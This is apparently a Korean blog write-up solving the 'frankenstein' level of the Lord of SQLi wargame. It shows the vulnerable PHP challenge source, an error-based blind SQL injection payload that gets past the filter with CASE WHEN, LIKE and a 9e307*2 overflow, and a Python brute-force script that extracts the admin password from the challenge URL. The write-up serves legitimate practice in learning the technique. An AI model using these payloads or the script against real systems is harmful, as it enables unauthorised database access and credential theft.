반응형

frankenstein

 

와 프랑켄슈타인

 

 

...

 

 

 

소스 보자

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(|\)|union/i'$_GET[pw])) exit("No Hack ~_~");
  $query = "select id,pw from prob_frankenstein where id='frankenstein' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit("error");
 
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_frankenstein where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("frankenstein");
  highlight_file(__FILE__);
?>
cs

 

pw만 get방식으로 받는다.

 

이번에도 pw를 구해야 한다.

근데 frankenstein이 아닌 admin이 id인 것의 pw를 구해야 한다.

 

 

if(mysqli_error($db)) exit("error"); 가 있기 때문에 error based sqli로 풀면 될 것 같다.

 

 

( 와 ) 를 사용할 수 없기 때문에 if를 case when then end로 우회를 했다.

 

또한, length()나 substr()을 사용할 수 없기 때문에, like와 %를 사용했다.

 

 

 

?pw=' or id='admin' and case when pw like '0%' then 1 else 9e307*2 end%23

 

pw like '0%' 가 true이면 1을, false이면 9e307*2를 반환.

 

 

9e307*2는 error을 만들어 낸다.

 

9e307보다 큰 수면 error가 나는데, 구문 자체에 9e308등의 수를 넣으면 그 구문자체가 error가 나버려서 true false 판별을 못한다.

 

 

 

exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"#~!@#$^&*()-_+="
 
 
key = ""
 
for i in range(8):
    for j in range(len(string)):
        #payload = "(select exp(710) where '"+string[j]+"'=(select substr(email,"+str(i+1)+",1) where id='admin'))"
        payload = "' or id='admin' and case when pw like '"+key+string[j]+"%' then 1 else 9e307*2 end#"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?pw="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''PHPSESSID=your-cookie')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()
 
        #print data
 
        if not "<br>error" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] "
            break
        else:
            print "[-] Fail!"
 
cs

 

 

 

 

 

FRANKENSTEIN Clear!

 

 

 

 

 

 

 

 

 

반응형

+ Recent posts